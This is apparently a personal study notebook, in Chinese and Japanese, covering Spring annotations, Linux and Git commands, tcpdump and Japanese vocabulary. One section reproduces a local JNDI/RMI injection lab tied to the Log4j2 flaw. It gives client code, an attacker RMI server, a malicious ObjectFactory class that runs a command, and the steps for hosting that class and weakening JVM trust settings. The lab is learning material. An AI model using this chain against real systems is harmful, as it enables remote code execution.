作用:指定当前类是一个配置类,在使用spring的时候刚开始都是xml配置,也正是这个注解,开启了类配置方式。
30.@EnableAutoConfiguration
EnableAutoConfigurationImportSelector:导入哪些组件的选择器;
会给容器中导入非常多的自动配置类(xxxAutoConfiguration);
(点进去会发现@Import,说白了他就是借助@Import的支持,收集和注册特定场景相关的bean定义。)
32.@EnableAutoConfiguration
・@Import作用:用于导入其他的配置类
@EnableAutoConfiguration也是借助@Import的帮助,将所有符合自动配置条件的bean定义加载到IoC容器,仅此而已!
33.@ComponentScan
作用:用于通过注解指定spring在创建容器时要扫描的包
我们可以通过basePackages等属性来细粒度的定制@ComponentScan自动扫描的范围,
如果不指定,则默认Spring框架实现会从声明@ComponentScan所在类的package进行扫描。
★:这也就是springboot启动类为什么放在包外的原因。
34.@Retention(RetentionPolicy.RUNTIME)
Retention 英 [rɪˈtɛnʃən] n. 保留;滞留;记忆力;
1、RetentionPolicy.SOURCE:注解只保留在源文件,当Java文件编译成class文件的时候,注解被遗弃;
2、RetentionPolicy.CLASS:注解被保留到class文件,但jvm加载class文件时候被遗弃,这是默认的生命周期;
3、RetentionPolicy.RUNTIME:注解不仅被保存到class文件中,jvm加载class文件之后,仍然存在;
35.@Target(ElementType.TYPE)
1.CONSTRUCTOR:用于描述构造器
2.FIELD:用于描述域
3.LOCAL_VARIABLE:用于描述局部变量
4.METHOD:用于描述方法
5.PACKAGE:用于描述包
6.PARAMETER:用于描述参数
7.TYPE:用于描述类、接口(包括注解类型) 或enum声明
36.SpringBoot + MyBatis 之 Hello World
SpringBoot + MyBatis 之 Hello World_sun0322-CSDN博客
38.@MapperScan
【@MapperScan("com.sxz.test.one.mapper")】
39.@MapperScan和@ComponentScan
这两个注解是可以同时使用的。
0.首先了解@Mapper
在持久层的接口上添加@Mapper注解,编译后会生成相应的接口实现类,
但由于要在每个接口上都进行配置,
为了简化配置,所以产生了@MapperScan。
1.@MapperScan
@MapperScan 是扫描mapper类的注解,
在配置类中,使用@MapperScan注解之后,
就不用在每个,在持久层的接口上添加@Mapper注解
(等同与,对每个持久层的接口加了@Mapper注解)
2.@ComponentScan
会自动扫描包路径下的@Controller、@Service、@Repository、@Component类,
符合扫描规则的类会装配到spring容器中。
40.@Configuration
从Spring3.0,@Configuration用于定义配置类,
可替换xml配置文件,被注解的类内部包含有一个或多个被@Bean注解的方法,
而且在Spring4.0之后推荐我们使用。
这些方法将会被AnnotationConfigApplicationContext或AnnotationConfigWebApplicationContext类进行扫描,
并用于构建bean定义,初始化Spring容器。
41.@Configuration标记得类加载方式
@Configuration标记得类加载方式_阿肯那顿的博客-CSDN博客
SpringBoot默认会扫描【启动类】 同包以及子包下的注解
(把被【@Configuration】标记的类、所在包、的路径、纳入scanBasePackages,这样就进入了Spring的扫描范围)
42.SpringBatch tasklet
SpringBatch启动流程
SpringBatch启动流程_shaoyangdd的专栏-CSDN博客
一般写一个含main有方法的【启动类】(AppStart.java),
・放在包的最外层
・使用@SpringBootApplication注解
・调用SpringApplication.run(AppStart.class , args);
・生成jar包
・启动 java -jar xxx.jar --spring.batch.job.names="xxxx"
43.incrementer // 增量器
44.TaskLet
@Configuration
@EnableBatchProcessing
public class TaskletsConfig {
@Autowired private JobBuilderFactory jobBuilderFactory
@Autowired private StepBuilderFactory stepBuilderFactory;
@Bean
protected Job xxxBatchStart() {
}
@Bean
protected Step xxxStep() {
}
@Bean
protected XxxxTaskLet xxxxTaskLet() {
}
}
45.withNano // LocalDateTime
46.TimeUnit.SECONDS.sleep(10)
// 原来是对Thread.sleep方法的包装,实现是一样的,只是多了时间单位转换和验证
47.join() sleep() wait()
・join()
这个方法比较好理解,当前线程等待指定线程终止后在执行,将两个交替执行的线程合并为顺序执行的线程
・sleep()
Thread静态方法,强制当前线程休眠.当休眠时间到期后恢复到可运行状态.不一定会立即执行,具体取决于线程调度器.
・wait()
wait()一般都是配合notify()和notifyAll()一起使用,并且他们都是java.lang.Object的方法.
wait()方法是使当前线程,进入到一个和对象相关的等待池中,同时失去对象的锁,其他线程可以访问.
wait()方法通过notify(),notifyAll(),或者指定超时时间来唤醒当前等待池中线程.
wait()必须用在synchronized代码块中,否则会抛出异常.
48.サイジング 【英】siaing ;涂胶,施胶,纸张上胶。
49.サイジング sizing 規模
50.vi编写代码时,文件末尾会多一个换行符
尝试解决 (未执行)
将以下命令添加到您的.vimrc中,以结束行尾选项:
autocmd FileType php set bin noeol
autocmd FileType php setlocal noeol binary fileformat=dos
■2021/11/06以降整理
1.where is cp
/user/bin/cp
/bin/cp
在linux下我们经常用到的四个应用程序的目录是:/bin、/sbin、/usr/bin、/usr/sbin
/bin: 是系统的一些指令.
/sbin: 一般是指超级用户指令.
/usr/bin: 是你在后期安装的一些软件的运行脚本.
2.args
// 加-i 参数直接用 {}就能代替管道之前的标准输出的内容
find /AAA/BBB/CCC/ -maxdepth 1 -type f | xargs -i cp {} /Work/Back
find /AAA/BBB/CCC/ -maxdepth 1 -type f | xargs -i sudo cp {} /Work/Back
find /AAA/BBB/CCC/ -maxdepth 1 -type f | grep -e ".yml$" | xargs -i sudo cp {} /Work/Back
3.mv -f
4.【`】
xxx.log`date +%Y%m%d`
// date 后面有空格
5.gunzip
(tar -zxvf xxx.gz時、これはtarアーカイブではにようです。)
6.LANG // Linux 英语显示
LANG=C tar -zxvf xxx.gz
(tar: This does not look like a tar archive.)
7.メンション 成员 // Teams で @メンションを使って注意を引く
8.sudo apt -y install language-pack-ja // ubuntu linux language package
HULFT
9.HULFT // utlivpdt -f
【公式】管理情報パラメータファイル生成コマンド
10.pa -aux | grep hul
../bin/hulrcvd
../bin/hulsendd
【公式】集信システムの起動コマンド
11.utladmin // HULFT処理選択メニュー
12.集信 しゅうしん // HULFT ←
13.配信 はいしん // HULFT →
14.気遣い きづかい // 1.担心,挂虑;不放心。
15.黄緑(きみどり) // #ECF4D9 C10Y20: #B6D56A C35Y70
16.tar: 空のアーカイブ作成はご容赦願います。
「tar: 空のアーカイブ作成はご容赦願います」というエラーについて – エコテキブログ
17.tar: メンバ名から先頭の `/’ を取り除きます
Linuxでtarを使ってファイルをバックアップする。 – 日々、コレ勉強
虽然这是一个标准错误输出,但是对生成的成果物没有任何影响!
アーカイブしたときに「tar: メンバ名から先頭の `/’ を取り除きます」のメッセージが出力されています。
これはルートディレクトリを表す先頭の「/」をコマンドが自動的に削除したことを示しています。
18.シンクラ
シンクライアント // 【英】Thin Client ;指的是在客户端-服务器网络体系中的一个基本无需应用程序的计算机终端。
(クライアントサーバーシステムを構成するクライアント側のコンピューターうち、
最低限の機能のみを有する低価格のコンピューターを指す。
サーバーがアプリケーションソフトやデータなどを管理するため、
クライアント側のコンピューターの運用・管理のコストを抑えることができる。)
19.monitor定义 // java
・什么是Monitor?
1.Monitor是一种用来实现同步的工具
2.与每个java对象相关联,即每个java对象都有一个Monitor与之对应
3.Monitor是实现Sychronized(内置锁)的基础
・Monitor具体现的 // java
1.Monitor是在jvm底层实现的,底层代码是c++
2.Monitor的enter方法:获取锁
3.Monitor的exit方法:释放锁
4.Monitor的wait方法:为java的Object的wait方法提供支持
5.Monitor的notify方法:为java的Object的notify方法提供支持
6.Monitor的notifyAll方法:为java的Object的notifyAll方法提供支持
・Monitor相关的方法 // java
public final native notify();
public final native notifyAll();
publeic final wait() throws InterruptedException {wait (0);}
publeic final native wait(long timeout) throws InterruptedException();
・monitor 锁的释放
wait会释放锁,sleep不会释放锁
20.native // Java // JNI,Java Native Interface
Java平台有个用户和本地C代码进行互操作的API,称为Java Native Interface (Java本地接口)。
// native [ˈneɪtɪv] // n.当地人;本国人;当地居民 // adj. 自然的;本国的;与生俱来的
public native int hashCode();
Java中Native关键字的作用 - 萌小Q - 博客园
使用native关键字说明这个方法是原生函数,
也就是这个方法是用C/C++语言实现的,并且被编译成了DLL,由java去调用。
这些函数的实现体在DLL中,JDK的源代码中并不包含,你应该是看不到的。对于不同的平台它们也是不同的。
这也是java的底层机制,实际上java就是在不同的平台上调用不同的native方法实现对操作系统的访问的。
21.容量確認
du -h フォルダー
cd /AA/UserGroup/
〇 find ./ -maxdepth 1 -type d | grep sss | xargs du -sh
// sss 是文件夹名字包含的内容。(sss001,sss002)
× find ./ -maxdepth 1 -type d | xargs du -sh
// 无法看到每个文件夹,看到的是整体
〇 find ./ -maxdepth 1 -type d
× find ./ -type d -maxdepth 1 // 有警告
22.おわり・おしまい ⇒ 終わり・お終い
おわり 来自于动词 おわる的连用形,还可以表示最后,死亡,这是おしまい没有的意思。
おしまい来自于 しまう的连用形,并且接了お表示礼貌。
Git
23.git Reset 三种模式
今天使用使用git merge 代码,报错了,merge失败,
使用git的Reset功能恢复(选择第一个)没有成功。 (工程文件夹右侧,显示 【マージ済み (merge完了)】branchm名)
选择第三个成功。
1.git reset --soft
2.git reset --mixed
3.git reset --hard
git reset 的三种模式的使用场景_雕牌咸鱼的博客-CSDN博客_git reset 三种模式
===
3.git reset --hard
git reset --hard HEAD^ 回退到上个版本
git reset --hard HEAD~3 回退到前3次提交之前,以此类推,回退到n次提交之前
git reset --hard commit_id 退到/进到,指定commit的哈希码(这次提交之前或之后的提交都会回滚)
24.・获取计算机登录用户名 // VBA
MsgBox Environ("username")
25.サスペンド suspend;暂停、挂起
26.Git相关知识
GIT命令行的一些基本操作_sun0322-CSDN博客
27.rejected 英 [rɪˈdʒɛkt; ˈriːdʒɛkt] // adj. 被拒的;不合格的 // git merge
28.If a fast-forward, create a merge commit // Eclipse Git Merge
427159 – Cannot force a merge commit (git merge --no-ff)
29. conflict 英[kənˈflɪkt] // 冲突; 争执; 争论; // git merge 競合
30.squash 英 [skwɒʃ] 美 [skwɔʃ] スカッシュ // git merge 选项 (多个版本一次提交)
n. 壁球;果汁饮料;南瓜属植物;拥挤
v. 把…压扁;受挤压;挤入;镇压;使沉默
GIT命令行的一些基本操作_sun0322-CSDN博客
31.merge 英 [mɜːdʒ] 合并;融合 // git merge
32.レトロ【英】retrospective ;复古的,怀旧的
33.レトロフィット // 「Retroactive refit」
旧式の機械を改造して性能改善、新機能追加等の改良を行うこと。
(古くなった、あるいは劣化した機械や装置を改造して新式の技術を組み込むこと。)
34.retro 英 [ˈrɛtrəʊ] adj. 复古的 n. 制动火箭;重新流行;复古
35.refit 英 [riːˈfɪt] n. 整修,改装
36.【日本語】 注意点「001」
前言,想表达,这个文件是被别人修改过了。
×:リハーサル実施前に、xxファイル既に変更しました。 // 有 我修正的含义
〇:リハーサル実施前に、xxファイル既に変更されました。 // 被别人修正(没有特指我修正的含义)
GitHub
37.issue [ˈɪʃu:] //GitHub 事务卡片(Issues)
n. 流出;问题;期,号;发行物
v. 流出;放出,排出;造成…结果;发放;发行;发布
4-使用GitHub(Github Issue)及基本概念实战_时光的博客-CSDN博客_github issue
GitHub(九):掌握 Issues_来自江南的你的博客-CSDN博客_issues
Issues(问题单)是一种伟大的工作方式,它用于对项目进行跟踪、增强和排错。
它们就像电子邮件一样 —— 除了它们可以与团队的其他成员进行分享和讨论。
大多数软件项目都会有某种错误跟踪器,
GitHub 的错误跟踪器称为“Issues”,并且在每个仓库中都有自己的 Issues 部分。
38.insight Insights [ˈɪnˌsaɪt] //GitHub n. 洞察力;洞悉
39.查看整体Merge情况
选择【你的开发工程的repository】 ⇒ Insights ⇒ Network
40.仓库(repository) [rɪˈpɒzɪtərɪ] n. 贮藏室;图书馆,博物馆;博学者;智囊团
41.linux .gz // 使用gzip命令压缩, gunzip命令解压缩
42.SpringBoot @Value 设置默认值,解决key不存在造成启动报错
没有默认值
@Value("${name}")
private String name;
设定默认值
@Value("${name:bob}")
private String name;
43.Linux中的压缩文件
tgz // tar -cvzf
gz // gzip
44.Linux umount(英文全拼:unmount)命令用于卸除文件系统。
umount可卸除目前挂在Linux目录中的文件系统。
umount [-ahnrvV][-t <文件系统类型>][文件系统]
umount /AAA/BBBB/CCC
45.mount 英 [maʊnt]
n. 坐骑;底座;山
v. 爬上;骑上;安装;镶嵌;准备上演,举办;组织,发起;增加;加剧;上升
46.回调函数
张三跟女朋友吃完饭,对女朋友说到家记得发短信告诉我,女朋友然后回到家之后,给张三说:我到了,请放心。这个发短信这个事是提前说好的,这个动作就是回调函数。
//boy为主函数,girl函数作为参数传到boy中,girl就是我们所说的回调函数
function boy(girl, myName){
alert('回到家记得告诉我')
alert('女孩回家路上')
girl(myName)
}
// girl就是我们所说的回调函数
function girl(boyname){
alert(boyname + '我回到家了')
}
boy(girl,"张三")
47.递归函数
简单说,递归就是一次次的调用自身,当满足某个条件时,递归结束。
48.回调函数 // Java 例子
深入理解Java回调函数_Andy-CSDN博客_java回调函数
满足回调的两个基本条件:
1.Class A调用Class B中的X方法
2.ClassB中X方法执行的过程中调用Class A中的Y方法完成回调
===
49.
50.
■2021/11/29以降整理
1.行方 ゆくえ
XXX(フォルダ)行方不明
(サーバーの共有フォルダXXX、なくになりました。)
2.MM/DD XXX会議押さえました。
(上下文:有内容想确认,什么时候确认,讨论之后,在 [MM/DD XXX会議]的时候确认。
这是一个定期的会议,每次会议讨论的内容不固定,是对近期发生的事情的一些讨论)
押さえる
1.压,摁,按。
2.堵住,捂。
3.抓住,捉住。
4.抓住(要点),认识,理解。
5.确保,掌握,控制。
3.Comparatorparing().thenComparing()
// comparing 和 thenComparing 两个方法的返回类型都是 Comparator<T> ,Comparator是一个函数式接口;
List<Student> collect1 = list1.stream()
.sorted(Comparatorparing(Student::getSex)
.thenComparing(FollowIMSI::getAge).reversed())
.collect(Collectors.toList());
参考1
Java8 lambda表达式,Comparatorparing().thenComparing()报错_蛋壳城堡-CSDN博客
参考2
JAVA8 Stream之Sort排序comparing 和thenComparing_YoungLee16的博客-CSDN博客_thencomparing
4.信じ切れていない
動詞ます形【去掉ます】+切る/切れる/切れない
意味:
(1)把某动作从头到尾彻底地做完。【切れる/切れない】是【切る】的能动词,表示有或者没有能力全部做完。“(不能)全部......”、“(不能)彻底......”。
例子:
1、二人で冷蔵庫にあるビールを全部飲み切ってしまった。/两个人把冰箱里的啤酒喝了个精光。
2、今日までで、すべての借金を返し切って、ほっとした。/到今天为止,还清了所有的借款,终于松了口气。
3、たった一回の授業では、とてもこの本の内容を説明し切れない。/仅仅上了一次课的话,这本书的内容怎么也说不完。
5.シナリオ単位:划分方式 // 测试
①安装数据的投入,抽出,发送
②按天
③按照 batch 的日程(スケジュール)
③
---
day1:上午, 在XXX系统上进行操作,投入数据
day2:凌晨,「使用day1的夜间batch」抽出XXX系统的数据
---
day2:上午,「使用day2的日间batch」向下流系统,发送之前抽出的数据
day2:上午,在XXX系统上进行操作,再次投入数据
day3:凌晨,「使用day2的夜间batch」抽出XXX系统的数据
---
day3:上午,「使用day3的日间batch」向下流系统,发送之前抽出的数据
6.一応 // 大致,大体;首先;暂且。
// ひとまずのところは。ひととおり。
// 大致。姑且。暂且。一次。一下。
一応の調べはついた。
大致调査清楚了。
一応そういうことに決めておきましょう。
暂且那么决定吧。
一応調べてみよう。
先査一下看看。
7.ls时,显示文件夹全路径
ls -l -d /AAA/BBB/ccc
// ccc 是文件夹名
×: ls -l /AAA/BBB/ | grep "ccc"
〇: ls -l -d /AAA/BBB/ccc
8.フォールバック 后退;退却 fallback
フォールバック(fallback)は「機能や性能を制限して動かすこと」です。
9.rollback (价格或工资等的)下跌,回落; (情形、法律等的)回复,恢复; // 数据库回滚
10.rollback 与 fallback 区别
roll back向后滚动
fall back后退、撤退
例句:
The car began to roll back down the hill.
汽车开始倒着往山下滑。
The enemy fell back as our troops advanced.
我军部队挺进,敌军向后撤退。
11.ミドルウェア middleware (计算机用语)中间件
12.hush値一覧、快速取得 // powershell
ls -file
ls -file | get-filehash -Algorithm Md5
ls -file | get-filehash -Algorithm Md5 | format-list
13.tcpdump // Linux
tcpdump 是一个运行在命令行下的抓包工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。
(像 windows下的WinPcap。)
1、抓取回环网口的包:tcpdump -i lo
2、防止包截断:tcpdump -s0
3、以数字显示主机及端口:tcpdump -n
超级详细Tcpdump 的用法 - 麦峰强 - 博客园
===
tcpdump -i any dst host aa.bbbc -s0 -A
tcpdump -i any dst host aa.bbbc -s0 -A
tcpdump –i eth0 ’port 1111‘ -X -c 3
抓包工具tcpdump用法说明 - 骏马金龙 - 博客园
-i interface:指定tcpdump需要监听的接口。若未指定该选项,
将从系统接口列表中搜寻编号最小的
已配置好的接口(不包括loopback接口,
要抓取loopback接口使用tcpdump -i lo),
一旦找到第一个符合条件的接口,
搜寻马上结束。
可以使用'any'关键字表示所有网络接口。
-s len:设置tcpdump的数据包抓取长度为len,如果不设置默认将会是65535字节。
对于要抓取的数据包较大时,长度设置不够可能会产生包截断,若出现包截断,
输出行中会出现"[|proto]"的标志(proto实际会显示为协议名)。
但是抓取len越长,包的处理时间越长,并且会减少tcpdump可缓存的数据包的数量,
从而会导致数据包的丢失,所以在能抓取我们想要的包的前提下,抓取长度越小越好。
-A Print each packet (minus its link level haeader) in ASCII. Handy for capturing web pages.
===
14.tcpdump 真正强大的地方。一共有三类主要的表达式:类型、方向和协议。
tcpdump 教程及入门示例 – 永在路上
类型选项有主机、网络和端口。方向由关键字 dir 表示,
可以有以下表达式
・src
・dst
・src or dst
・src and dst
//查找从目标发出的流量(忽略会话的另一方)
tcpdump dst 3.4.5.6
ーー
src //查找从源发出的流量(忽略会话的另一方)
tcpdump src 2.3.4.5
15.DST = 目标主机
Destination Host
16.Destination [ˌdestɪˈneɪʃn] // 目的地; 终点;
17.伝播 でんぱ // トランザクション の propagation(传播) // @Transactional(propagation = Propagation.REQUIRED)
18.電波 でんぱ
19.排他 はいた // DeadLock発生の原因の一つ
20.DeadLock
1. セッション1で「テーブル1」をロックする
2. セッション2で「テーブル2」をロックする
3. セッション1で「テーブル2」にUPDATE文を発行する
4. セッション2で「テーブル1」にUPDATE文を発行する
・セッション1から「テーブル2」にUPDATE文を発行するとセッション2の排他ロックにより待機状態となり、
その後
・セッション2から「テーブル1」にUPDATE文を発行したタイミングで⇒【デッドロック】が検出されます。
21.日语学习的三个方面
1.单词・文法
2.听
3.读 // 很重要!!!
・读文章
・背诵好的句子,文章
・跟读(复述)广播中的句子
22.GitHub使用 // 查看提交履历
github选择branch后,看到的是最后一次提交代码的履历。
如果想看全部履历,点击【commits】
(【commits】的位置在 最后一次履历条的 右侧)
23.SLF4J(Simple logging Facade for Java) // 简单日志门面
// logback是slf4j的原生实现框架
JNDI RMI 注入(Log4j2漏洞)_jndi漏洞_sun0322的博客-CSDN博客
===
工作中使用到的单词(软件开发)_2022_0815备份_エビデンス作成_sun0322的博客-CSDN博客
26.JNDI 注入代码实现(RMI) --------Start
JNDI注入基础 - 洋洋的小黑屋 - 博客园
(被攻击者)客户端(服务器)代码
(使用log4j2时,可以注入进行执行。)
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/hello";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
--
(黑客)服务器端代码
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("hello", refObjWrapper);
}
}
此类编译时,有警告
1_RMI> javac '.\Server.java'
.\Server.java:2: 警告: ReferenceWrapper是内部专用 API, 可能会在未来发行版中删除
import com.sun.jndi.rmi.registry.ReferenceWrapper;
^
.\Server.java:11: 警告: ReferenceWrapper是内部专用 API, 可能会在未来发行版中删除
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
^
.\Server.java:11: 警告: ReferenceWrapper是内部专用 API, 可能会在未来发行版中删除
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
^
3 个警告
---
被加载的恶意类 (打开计算器, 会打开4个)
import java.io.IOException;
import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Calc implements ObjectFactory {
{
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
public Calc() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
return null;
}
}
--
JNDI 注入实现(RMI) --------End
27.javax.naming.Reference // 构造方法
Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1:8081/");
28.SimpleHTTPServer // (Python)快速共享目录
Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1:8081/");
各种Linux发行版通常都内置了python,故使用此方法非常方便。在其它OS(比如Windows)此方法也有效,但是要麻烦一些,必须先搭建Python环境。
SimpleHTTPServer是Python 2自带的一个模块,是Python的Web服务器。它在Python 3已经合并到http.server模块中。SimpleHTTPServer在Python 3的用法与在Python 2的用法相似(python3 -m http.server 8081)
python -m SimpleHTTPServer 8081
---
在【被加载的恶意类】的目录下,执行此命令
python3 -m http.server 8081
SimpleHTTPServer有一个特性,如果待共享的目录下有index.html,那么index.html文件会被视为默认主页;如果不存在index.html文件,那么就会显示整个目录列表。
29.RMI的利用版本限制
从jdk8u121 7u131 6u141版本开始
com.sun.jndi.rmi.object.trustURLCodebase、
com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false
即默认不允许从远程的Codebase加载Reference工厂类
所以切换8u121版本,运行会报错(其实这里的8u121就是网上所说的8u113)
问答
---
1.JNDI利用RMI进行攻击,在服务端本地是否需要有恶意类
服务端本地不需要恶意类
2.是服务端的版本有限制还是客户端版本有限制
是客户端有版本限制,需要小于8u121
3.为什么关闭服务器,客户端还可以继续执行payload
客户端优先寻找本地是否有类(注意是类,不是class文件),然后才通过codebase从远程下载类
---
30.RMI(Remote Method Invocation)为远程方法调用
是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。
这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。
首先,在一个JVM中启动rmiregistry服务,启动时可以指定服务监听的端口,也可以使用默认的端口(1099)。
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("hello", refObjWrapper);
}
}
31.registry // 在一个JVM中启动rmiregistry服务
英 [ˈrɛdʒɪstrɪ] n. 登记处,注册处;登记,注册
32.RMI代码运行报错 (原因,没有启动RMI服务)
MyJava\1_RMI> java Client
Exception in thread "main" javax.naming.ServiceUnavailableException [Root exception is java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is:
java.ConnectException: Connection refused: connect]
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:136)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at Client.main(Client.java:10)
Caused by: java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is:
java.ConnectException: Connection refused: connect
at sun.rmi.transport.tcp.TCPEndpoint.newSocket(TCPEndpoint.java:619)
at sun.rmi.transport.tcp.TCPChannel.createConnection(TCPChannel.java:216)
at sun.rmi.transport.tcp.TCPChannel.newConnection(TCPChannel.java:202)
at sun.rmi.server.UnicastRef.newCall(UnicastRef.java:338)
at sun.rmi.registry.RegistryImpl_Stub.lookup(RegistryImpl_Stub.java:112)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:132)
... 3 more
Caused by: java.ConnectException: Connection refused: connect
at java.DualStackPlainSocketImpl.connect0(Native Method)
at java.DualStackPlainSocketImpl.socketConnect(DualStackPlainSocketImpl.java:79)
at java.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:350)
at java.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:206)
at java.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:188)
at java.PlainSocketImpl.connect(PlainSocketImpl.java:172)
at java.SocksSocketImpl.connect(SocksSocketImpl.java:392)
at java.Socket.connect(Socket.java:589)
at java.Socket.connect(Socket.java:538)
at java.Socket.<init>(Socket.java:434)
at java.Socket.<init>(Socket.java:211)
at sun.rmi.transport.proxy.RMIDirectSocketFactory.createSocket(RMIDirectSocketFactory.java:40)
at sun.rmi.transport.proxy.RMIMasterSocketFactory.createSocket(RMIMasterSocketFactory.java:148)
at sun.rmi.transport.tcp.TCPEndpoint.newSocket(TCPEndpoint.java:613)
... 8 more
33.启动RMI服务之后 (Java不信任RMI的URL再次报错)
(第二个窗口为启动RMI,java的程序,一直是运行状态,没有退出)
34.Java不信任RMI的URL再次报错,信息
MyJava\1_RMI> java Client
Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at Client.main(Client.java:10)
35.Java不信任RMI的URL再次出错,原因
从jdk8u121 7u131 6u141版本开始
com.sun.jndi.rmi.object.trustURLCodebase、
com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false
即默认不允许从远程的Codebase加载Reference工厂类
36.Java不信任RMI的URL再次出错、解决、客户端(被攻击者)打开计算机成功
JDK 8u191之后的JNDI注入(注入模拟 被攻击者,启动的JVM时, 需要加上以下参数)
java -Dcom.sun.jndi.rmi.object.trustURLCodebase=true -Dcom.sun.jndi.cosnaming.object.trustURLCodebase=true Client
※ PowerShell下不好用,在cmd命令行下好用,运行之后,连续打开4个计算器。
【再现成功】
【再现成功 powershell 下执行时,需要加上双引号】
java -D"com.sun.jndi.rmi.object.trustURLCodebase=true" -D"com.sun.jndi.cosnaming.object.trustURLCodebase=true" Client
JNDI注入,再现具体操作
javac Calc.java
javac Server.java
Javac Client.java
python3 -m http.server 8081
java Server
java -Dcom.sun.jndi.rmi.object.trustURLCodebase=true -Dcom.sun.jndi.cosnaming.object.trustURLCodebase=true Client
java -D"com.sun.jndi.rmi.object.trustURLCodebase=true" -D"com.sun.jndi.cosnaming.object.trustURLCodebase=true" Client
37.-D -X -XX
java虚拟机参数 -D、-X和-XX的区别_上尤流苏-CSDN博客_java虚拟机参数设置-xx与-d
38.Maven
No Compiler is provided in this environment. Perhaps you are runing on a JRE rather than a JDK
在运行maven打包时:运行环境默认配置jre而不是JDK
这样子的话普通的java运行没问题、但是maven运行需要JDK
解决:配置JDK的bin的环境变量即OK了。
即使设置了,有时还是不好用,还需要设定【JAVA_HOME】 // mvn.cmd中,使用了这个环境变量
set JAVA_HOME="c:\XXX\XXX\java8"
・rather
adv. 相当,宁愿,有点儿
・rather than
1、 连接两个形容词
The sweater she bought was beautiful rather than cheap. 与其说她买的这件羊毛衫便宜不如说它漂亮。
2、连接两个介词(短语)或动名词
We will have the meeting in the classroom rather than in the great hall. 我们是在教室里开会,不是在大厅里。
3、连接两个分句
We should help him rather than he should help us. 是我们应该帮助他而不是他应该帮助我们。
4、连接两个不定式
I decided to write rather than (to) telephone. 我决定写信而不打电话。
39.tasklist | findstr "Box" // findstr 区分大小写
40.taskkill /f /im Box.exe
41.windows フォトビューアー
フォトは、「フォトショップ」の省略表現。
windows Photoshop view
windows 照片查看器
42.CVE-2021-44228 Impact of Log4j Vulnerability CVE-2021-44228
可以查询的网站
===
Palo Alto Networks Security Advisories
CVE-2021-44228 : Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in configuration, log messages, and
===
下面这个网站查询不到
CWE - News & Events (mitre)
===
43.features [ˈfiːtʃəz] 相貌;容貌 ;特色; 特征; 特点; // JNDI features used
// CVE-2021-44228 : Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints.
通过 【Apache Log4j2 2.0-beta9到2.12.1和2.13.0到2.15.0 】配置、日志消息和参数中,使用的JNDI功能。无法防止攻击者控制的LDAP和其他JNDI相关端点。
44.against 英[əˈɡenst] 介词,意为“反对,违反;对……不利;紧靠,倚,碰撞;针对;预防,抵御;
45.attacker 英[əˈtækə(r)] 攻击者
// against attacker 对付攻击者
46.black hat 黑客
47.hacker 英 [ˈhækə] n. 电脑黑客
Hacker一词,最初曾指热心于计算机技术、水平高超的电脑高手,尤其是程序设计人员,
逐渐区分为白帽、灰帽、黑帽等,其中黑帽(black hat)实际就是cracker。
在媒体报道中,黑客一词常指那些软件骇客(software cracker),
而与黑客(黑帽子)相对的则是白帽子。
48.ORM 框架简介 (Object Relational Mapping)
